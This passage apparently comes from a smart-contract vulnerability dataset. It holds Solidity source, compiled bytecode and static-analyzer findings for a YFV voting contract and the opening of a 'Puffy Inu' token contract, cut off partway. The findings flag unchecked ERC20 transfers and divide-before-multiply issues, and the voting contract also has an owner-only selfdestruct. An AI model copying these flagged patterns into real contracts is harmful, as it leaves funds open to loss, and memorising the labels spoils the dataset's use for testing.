63a9059cbb906044016020604051808303816000875af115801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e9190610eb6565b505b5050505050565b6000546001600160a01b031633146107715760405162461bcd60e51b815260040161033f90610ed8565b600080546040516001600160a01b0390911690600080516020610f3f833981519152908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146107d45760405162461bcd60e51b815260040161033f90610ed8565b506009805460ff19811660ff918216159081179092551690565b6001546001600160a01b031633146108545760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b606482015260840161033f565b60025442116108a55760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015260640161033f565b600154600080546040516001600160a01b039384169390911691600080516020610f3f83398151915291a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60095460009060ff1661094c5760405162461bcd60e51b815260206004820152601760248201527f53616c65206973206e6f74207965742073746172746564000000000000000000604482015260640161033f565b6007543410156109b65760405162461bcd60e51b815260206004820152602f60248201527f4574682076616c7565206d7573742062652067726561746572207468656e206560448201526e0e2eac2d840e8de40645c6a40cae8d608b1b606482015260840161033f565b3360009081526006602052604090205460ff16610a265760405162461bcd60e51b815260206004820152602860248201527f4f6e6c792077686974656c697374656420616464726573732063616e20706172604482015267746963697061746560c01b606482015260840161033f565b34600854610a349190610e7e565b3360009081526003602052604081208054909190610a53908490610e2d565b9091555050600854610a66903490610e7e565b3360009081526004602052604081208054909190610a85908490610e2d565b9091555050336000908152600560205260409020636196403f905550600190565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161033f90610ed8565b60005b81811015610b4257600160066000858585818110610af357610af3610f0d565b9050602002016020810190610b089190610d2b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3a81610f23565b915050610ad3565b505050565b6000546001600160a01b03163314610b715760405162461bcd60e51b815260040161033f90610ed8565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055610ba08142610e2d565b600255600080546040516001600160a01b0390911690600080516020610f3f833981519152908390a350565b6000546001600160a01b03163314610bf65760405162461bcd60e51b815260040161033f90610ed8565b334715610c34576040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610c32573d6000803e3d6000fd5b505b50565b6000546001600160a01b03163314610c615760405162461bcd60e51b815260040161033f90610ed8565b6001600160a01b038116610cc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161033f565b600080546040516001600160a01b0380851693921691600080516020610f3f83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b0381168114610d2657600080fd5b919050565b600060208284031215610d3d57600080fd5b610d4682610d0f565b9392505050565b600080600060608486031215610d6257600080fd5b610d6b84610d0f565b9250610d7960208501610d0f565b9150604084013590509250925092565b60008060208385031215610d9c57600080fd5b823567ffffffffffffffff80821115610db457600080fd5b818501915085601f830112610dc857600080fd5b813581811115610dd757600080fd5b8660208260051b8501011115610dec57600080fd5b60209290920196919550909350505050565b600060208284031215610e1057600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610e4057610e40610e17565b500190565b600082821015610e5757610e57610e17565b500390565b600082610e7957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610e9857610e98610e17565b500290565b600060208284031215610eaf57600080fd5b5051919050565b600060208284031215610ec857600080fd5b81518015158114610d4657600080fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610f3757610f37610e17565b506001019056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220fde2dc175bdfe6c07f4da6966879395d3562598b1c8e1d610610e6605c1f514964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,695 |
0x6ba70f65877da18e751ff42fc1c3fee8c66280e6
|
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IYFVRewards {
function stakingPower(address account) external view returns (uint256);
}
contract YFVVIPVote {
using SafeMath for uint256;
address payable public governance;
uint8 public constant MAX_VOTERS_PER_ITEM = 200;
mapping(address => mapping(uint256 => uint8)) public numVoters; // poolAddress -> votingItem (periodFinish) -> numVoters (the number of voters in this round)
mapping(address => mapping(uint256 => address[MAX_VOTERS_PER_ITEM])) public voters; // poolAddress -> votingItem (periodFinish) -> voters (array)
mapping(address => mapping(uint256 => mapping(address => bool))) public isInTopVoters; // poolAddress -> votingItem (periodFinish) -> isInTopVoters (map: voter -> in_top (true/false))
mapping(address => mapping(uint256 => mapping(address => uint32))) public voter2VotingValue; // poolAddress -> votingItem (periodFinish) -> voter2VotingValue (map: voter -> voting value)
mapping(address => mapping(uint256 => uint32)) public votingValueMinimums; // poolAddress -> votingItem (proposalId) -> votingValueMin
mapping(address => mapping(uint256 => uint32)) public votingValueMaximums; // poolAddress -> votingItem (proposalId) -> votingValueMax
mapping(address => mapping(uint256 => uint256)) public votingStarttimes; // poolAddress -> votingItem (proposalId) -> voting's starttime
mapping(address => mapping(uint256 => uint256)) public votingEndtimes; // poolAddress -> votingItem (proposalId) -> voting's endtime
event Voted(address poolAddress, address indexed user, uint256 votingItem, uint32 votingValue);
constructor () public {
governance = msg.sender;
}
function setVotingConfig(address poolAddress, uint256 votingItem, uint32 minValue, uint32 maxValue, uint256 starttime, uint256 endtime) public {
require(msg.sender == governance, "!governance");
require(minValue < maxValue, "Invalid voting range");
require(starttime < endtime, "Invalid time range");
require(endtime > block.timestamp, "Endtime has passed");
votingValueMinimums[poolAddress][votingItem] = minValue;
votingValueMaximums[poolAddress][votingItem] = maxValue;
votingStarttimes[poolAddress][votingItem] = starttime;
votingEndtimes[poolAddress][votingItem] = endtime;
}
function isVotable(address poolAddress, address account, uint256 votingItem) public view returns (bool) {
if (block.timestamp < votingStarttimes[poolAddress][votingItem]) return false; // vote is not open yet
if (block.timestamp > votingEndtimes[poolAddress][votingItem]) return false; // vote is closed
if (voter2VotingValue[poolAddress][votingItem][account] > 0) return false; // already voted
IYFVRewards rewards = IYFVRewards(poolAddress);
// hasn't any staking power
if (rewards.stakingPower(account) == 0) return false;
// number of voters is under limit still
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) return true;
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < rewards.stakingPower(account)) return true;
// there is some voters has lower staking power
}
return false;
}
function averageVotingValue(address poolAddress, uint256 votingItem) public view returns (uint32) {
if (numVoters[poolAddress][votingItem] == 0) return 0; // no votes
uint256 totalStakingPower = 0;
uint256 totalWeightVotingValue = 0;
IYFVRewards rewards = IYFVRewards(poolAddress);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
address voter = voters[poolAddress][votingItem][i];
totalStakingPower = totalStakingPower.add(rewards.stakingPower(voter));
totalWeightVotingValue = totalWeightVotingValue.add(rewards.stakingPower(voter).mul(voter2VotingValue[poolAddress][votingItem][voter]));
}
return (uint32) (totalWeightVotingValue.div(totalStakingPower));
}
function averageVotingValueByBits(address poolAddress, uint256 votingItem, uint8 leftBitRange, uint8 rightBitRange) public view returns (uint32) {
uint32 avgVotingValue = averageVotingValue(poolAddress, votingItem);
if (avgVotingValue == 0) return 0;
uint32 bitmask = (uint32(1) << (leftBitRange - rightBitRange)) - 1;
uint32 votingValueByBits = (avgVotingValue >> rightBitRange) & bitmask;
return votingValueByBits;
}
function verifyOfflineVote(address poolAddress, uint256 votingItem, uint32 votingValue, address voter, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) {
bytes32 signatureHash = keccak256(abi.encodePacked(voter, poolAddress, votingItem, votingValue));
return voter == ecrecover(signatureHash, v, r, s);
}
function vote(address poolAddress, uint256 votingItem, uint32 votingValue) public {
require(block.timestamp >= votingStarttimes[poolAddress][votingItem], "voting is not open yet");
require(block.timestamp <= votingEndtimes[poolAddress][votingItem], "voting is closed");
if (votingValueMinimums[poolAddress][votingItem] > 0 || votingValueMaximums[poolAddress][votingItem] > 0) {
require(votingValue >= votingValueMinimums[poolAddress][votingItem], "votingValue is smaller than minimum accepted value");
require(votingValue <= votingValueMaximums[poolAddress][votingItem], "votingValue is greater than maximum accepted value");
}
if (!isInTopVoters[poolAddress][votingItem][msg.sender]) {
require(isVotable(poolAddress, msg.sender, votingItem), "This account is not votable");
uint8 voterIndex = MAX_VOTERS_PER_ITEM;
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) {
voterIndex = numVoters[poolAddress][votingItem];
} else {
IYFVRewards rewards = IYFVRewards(poolAddress);
uint256 minStakingPower = rewards.stakingPower(msg.sender);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < minStakingPower) {
voterIndex = i;
minStakingPower = rewards.stakingPower(voters[poolAddress][votingItem][i]);
}
}
}
if (voterIndex < MAX_VOTERS_PER_ITEM) {
if (voterIndex < numVoters[poolAddress][votingItem]) {
// remove lower power previous voter
isInTopVoters[poolAddress][votingItem][voters[poolAddress][votingItem][voterIndex]] = false;
} else {
++numVoters[poolAddress][votingItem];
}
isInTopVoters[poolAddress][votingItem][msg.sender] = true;
voters[poolAddress][votingItem][voterIndex] = msg.sender;
}
}
voter2VotingValue[poolAddress][votingItem][msg.sender] = votingValue;
emit Voted(poolAddress, msg.sender, votingItem, votingValue);
}
// Contract may be destroyed to earn back gas fee
function kill() external {
require(msg.sender == governance, "!governance");
selfdestruct(governance);
}
event EmergencyERC20Drain(address token, address governance, uint256 amount);
// governance can drain tokens that are sent here by mistake
function emergencyERC20Drain(ERC20 token, uint amount) external {
require(msg.sender == governance, "!governance");
emit EmergencyERC20Drain(address(token), governance, amount);
token.transfer(governance, amount);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806373e4b903116100a2578063a1e5bc9f11610071578063a1e5bc9f146103be578063af965b65146103ea578063d32b26ff14610438578063d71f3b8414610464578063db0e16f11461049c57610116565b806373e4b9031461030b5780638335e59a1461032957806388b6510f1461035557806397ec0ffd1461039257610116565b8063418bed88116100e9578063418bed881461023057806341c0e1b51461027e5780634ec6e0561461028857806356b3d388146102d75780635aa6e6751461030357610116565b80631159222a1461011b57806319c89d2d146101655780632ecab348146101bc5780633706352b146101fa575b600080fd5b6101516004803603606081101561013157600080fd5b506001600160a01b038135811691602081013590911690604001356104c8565b604080519115158252519081900360200190f35b610151600480360360e081101561017b57600080fd5b506001600160a01b03813581169160208101359163ffffffff6040830135169160608101359091169060ff6080820135169060a08101359060c001356107be565b6101e8600480360360408110156101d257600080fd5b506001600160a01b0381351690602001356108a6565b60408051918252519081900360200190f35b6101516004803603606081101561021057600080fd5b506001600160a01b038135811691602081013591604090910135166108c3565b6102626004803603606081101561024657600080fd5b506001600160a01b0381351690602081013590604001356108e9565b604080516001600160a01b039092168252519081900360200190f35b610286610921565b005b6102be6004803603606081101561029e57600080fd5b506001600160a01b0381358116916020810135916040909101351661097c565b6040805163ffffffff9092168252519081900360200190f35b6102be600480360360408110156102ed57600080fd5b506001600160a01b0381351690602001356109a5565b6102626109c8565b6103136109d7565b6040805160ff9092168252519081900360200190f35b6103136004803603604081101561033f57600080fd5b506001600160a01b0381351690602001356109dc565b6102be6004803603608081101561036b57600080fd5b506001600160a01b038135169060208101359060ff604082013581169160600135166109fc565b6102be600480360360408110156103a857600080fd5b506001600160a01b038135169060200135610a4b565b6102be600480360360408110156103d457600080fd5b506001600160a01b038135169060200135610c66565b610286600480360360c081101561040057600080fd5b506001600160a01b038135169060208101359063ffffffff604082013581169160608101359091169060808101359060a00135610c89565b6101e86004803603604081101561044e57600080fd5b506001600160a01b038135169060200135610e46565b6102866004803603606081101561047a57600080fd5b5080356001600160a01b0316906020810135906040013563ffffffff16610e63565b610286600480360360408110156104b257600080fd5b506001600160a01b038135169060200135611586565b6001600160a01b03831660009081526007602090815260408083208484529091528120544210156104fb575060006107b7565b6001600160a01b038416600090815260086020908152604080832085845290915290205442111561052e575060006107b7565b6001600160a01b03808516600090815260046020908152604080832086845282528083209387168352929052205463ffffffff161561056f575060006107b7565b604080516001620dbb7f60e11b031981526001600160a01b0385811660048301529151869283169163ffe48902916024808301926020929190829003018186803b1580156105bc57600080fd5b505afa1580156105d0573d6000803e3d6000fd5b505050506040513d60208110156105e657600080fd5b50516105f65760009150506107b7565b6001600160a01b038516600090815260016020908152604080832086845290915290205460c860ff90911610156106315760019150506107b7565b60005b6001600160a01b038616600090815260016020908152604080832087845290915290205460ff90811690821610156107b057816001600160a01b031663ffe48902866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156106bc57600080fd5b505afa1580156106d0573d6000803e3d6000fd5b505050506040513d60208110156106e657600080fd5b50516001600160a01b03878116600090815260026020908152604080832089845290915290209084169063ffe489029060ff851660c8811061072457fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561076b57600080fd5b505afa15801561077f573d6000803e3d6000fd5b505050506040513d602081101561079557600080fd5b505110156107a8576001925050506107b7565b600101610634565b5060009150505b9392505050565b60408051606086811b6bffffffffffffffffffffffff19908116602080850191909152918b901b1660348301526048820189905260e088901b6001600160e01b03191660688301528251808303604c018152606c8301808552815191830191909120600091829052608c840180865281905260ff881660ac85015260cc840187905260ec8401869052935190939260019261010c808301939192601f198301929081900390910190855afa15801561087a573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614915050979650505050505050565b600760209081526000928352604080842090915290825290205481565b600360209081526000938452604080852082529284528284209052825290205460ff1681565b60026020528260005260406000206020528160005260406000208160c8811061090e57fe5b01546001600160a01b0316925083915050565b6000546001600160a01b0316331461096e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6000546001600160a01b0316ff5b600460209081526000938452604080852082529284528284209052825290205463ffffffff1681565b600660209081526000928352604080842090915290825290205463ffffffff1681565b6000546001600160a01b031681565b60c881565b600160209081526000928352604080842090915290825290205460ff1681565b600080610a098686610a4b565b905063ffffffff8116610a20576000915050610a43565b600183850360ff9081169190911b6000190163ffffffff929092169084161c1690505b949350505050565b6001600160a01b038216600090815260016020908152604080832084845290915281205460ff16610a7e57506000610c60565b60008084815b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff9081169082161015610c49576001600160a01b0387166000908152600260209081526040808320898452909152812060ff831660c88110610ae757fe5b0154604080516001620dbb7f60e11b031981526001600160a01b03928316600482018190529151919350610b779286169163ffe4890291602480820192602092909190829003018186803b158015610b3e57600080fd5b505afa158015610b52573d6000803e3d6000fd5b505050506040513d6020811015610b6857600080fd5b5051869063ffffffff6116a716565b6001600160a01b03808a1660009081526004602081815260408084208d85528252808420878616808652908352938190205481516001620dbb7f60e11b031981529384019490945251949950610c3e94610c319463ffffffff9094169389169263ffe48902926024808301939192829003018186803b158015610bf957600080fd5b505afa158015610c0d573d6000803e3d6000fd5b505050506040513d6020811015610c2357600080fd5b50519063ffffffff61170116565b859063ffffffff6116a716565b935050600101610a84565b50610c5a828463ffffffff61175a16565b93505050505b92915050565b600560209081526000928352604080842090915290825290205463ffffffff1681565b6000546001600160a01b03163314610cd6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8263ffffffff168463ffffffff1610610d2d576040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420766f74696e672072616e676560601b604482015290519081900360640190fd5b808210610d76576040805162461bcd60e51b8152602060048201526012602482015271496e76616c69642074696d652072616e676560701b604482015290519081900360640190fd5b428111610dbf576040805162461bcd60e51b8152602060048201526012602482015271115b991d1a5b59481a185cc81c185cdcd95960721b604482015290519081900360640190fd5b6001600160a01b0390951660008181526005602090815260408083208884528252808320805463ffffffff98891663ffffffff19918216179091558484526006835281842089855283528184208054979098169616959095179095558181526007855283812086825285528381209290925581526008835281812093815292909152902055565b600860209081526000928352604080842090915290825290205481565b6001600160a01b0383166000908152600760209081526040808320858452909152902054421015610ed4576040805162461bcd60e51b81526020600482015260166024820152751d9bdd1a5b99c81a5cc81b9bdd081bdc195b881e595d60521b604482015290519081900360640190fd5b6001600160a01b0383166000908152600860209081526040808320858452909152902054421115610f3f576040805162461bcd60e51b815260206004820152601060248201526f1d9bdd1a5b99c81a5cc818db1bdcd95960821b604482015290519081900360640190fd5b6001600160a01b038316600090815260056020908152604080832085845290915290205463ffffffff16151580610f9e57506001600160a01b038316600090815260066020908152604080832085845290915290205463ffffffff1615155b1561107b576001600160a01b038316600090815260056020908152604080832085845290915290205463ffffffff908116908216101561100f5760405162461bcd60e51b815260040180806020018281038252603281526020018061188d6032913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832085845290915290205463ffffffff908116908216111561107b5760405162461bcd60e51b815260040180806020018281038252603281526020018061183a6032913960400191505060405180910390fd5b6001600160a01b0383166000908152600360209081526040808320858452825280832033845290915290205460ff166114fc576110b98333846104c8565b61110a576040805162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e74206973206e6f7420766f7461626c650000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260016020908152604080832085845290915290205460c89060ff1681111561116857506001600160a01b038316600090815260016020908152604080832085845290915290205460ff16611392565b604080516001620dbb7f60e11b03198152336004820152905185916000916001600160a01b0384169163ffe48902916024808301926020929190829003018186803b1580156111b657600080fd5b505afa1580156111ca573d6000803e3d6000fd5b505050506040513d60208110156111e057600080fd5b5051905060005b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff908116908216101561138e576001600160a01b0387811660009081526002602090815260408083208a84529091529020839185169063ffe489029060ff851660c8811061125657fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561129d57600080fd5b505afa1580156112b1573d6000803e3d6000fd5b505050506040513d60208110156112c757600080fd5b50511015611386576001600160a01b0387811660009081526002602090815260408083208a8452909152902091945084919084169063ffe489029060ff841660c8811061131057fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561135757600080fd5b505afa15801561136b573d6000803e3d6000fd5b505050506040513d602081101561138157600080fd5b505191505b6001016111e7565b5050505b60c860ff821610156114fa576001600160a01b038416600090815260016020908152604080832086845290915290205460ff9081169082161015611447576001600160a01b03841660008181526003602090815260408083208784528252808320938352600282528083208784529091528120909190829060ff851660c8811061141857fe5b01546001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611482565b6001600160a01b0384166000908152600160208181526040808420878552909152909120805460ff19811660ff918216909301169190911790555b6001600160a01b0384166000818152600360209081526040808320878452825280832033808552908352818420805460ff1916600117905593835260028252808320878452909152902060ff831660c881106114da57fe5b0180546001600160a01b0319166001600160a01b03929092169190911790555b505b6001600160a01b038316600081815260046020908152604080832086845282528083203380855290835292819020805463ffffffff871663ffffffff1990911681179091558151948552918401869052838101919091525190917fceecddaff8e86325a6ce4232ab9aa18c4e60675c9efe207f774a7fea3281752c919081900360600190a2505050565b6000546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600054604080516001600160a01b0380861682529092166020830152818101839052517fd5f5d3947cee2c1f346ba9359a003af3d6202e5bc2e987685ab0cf0e73f5ac3b9181900360600190a1600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b15801561167757600080fd5b505af115801561168b573d6000803e3d6000fd5b505050506040513d60208110156116a157600080fd5b50505050565b6000828201838110156107b7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261171057506000610c60565b8282028284828161171d57fe5b04146107b75760405162461bcd60e51b815260040180806020018281038252602181526020018061186c6021913960400191505060405180910390fd5b60006107b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836118235760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117e85781810151838201526020016117d0565b50505050905090810190601f1680156118155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161182f57fe5b049594505050505056fe766f74696e6756616c75652069732067726561746572207468616e206d6178696d756d2061636365707465642076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77766f74696e6756616c756520697320736d616c6c6572207468616e206d696e696d756d2061636365707465642076616c7565a265627a7a72315820525d323be723ec4dcd8eb8efab9052f46dcddd5db43094ec4370dcc35b740bd164736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,696 |
0x923ee2bf6382bc6e3dcef3f070661a51ba1c7a47
|
// Puffy Inu
// Website: http://Puffyinu.info/
// Twitter: https://twitter.com/Puffy_Inu (@Puffy_Inu)
// Telegram: https://t.me/PuffyInu (@PuffyInu)
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PuffyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
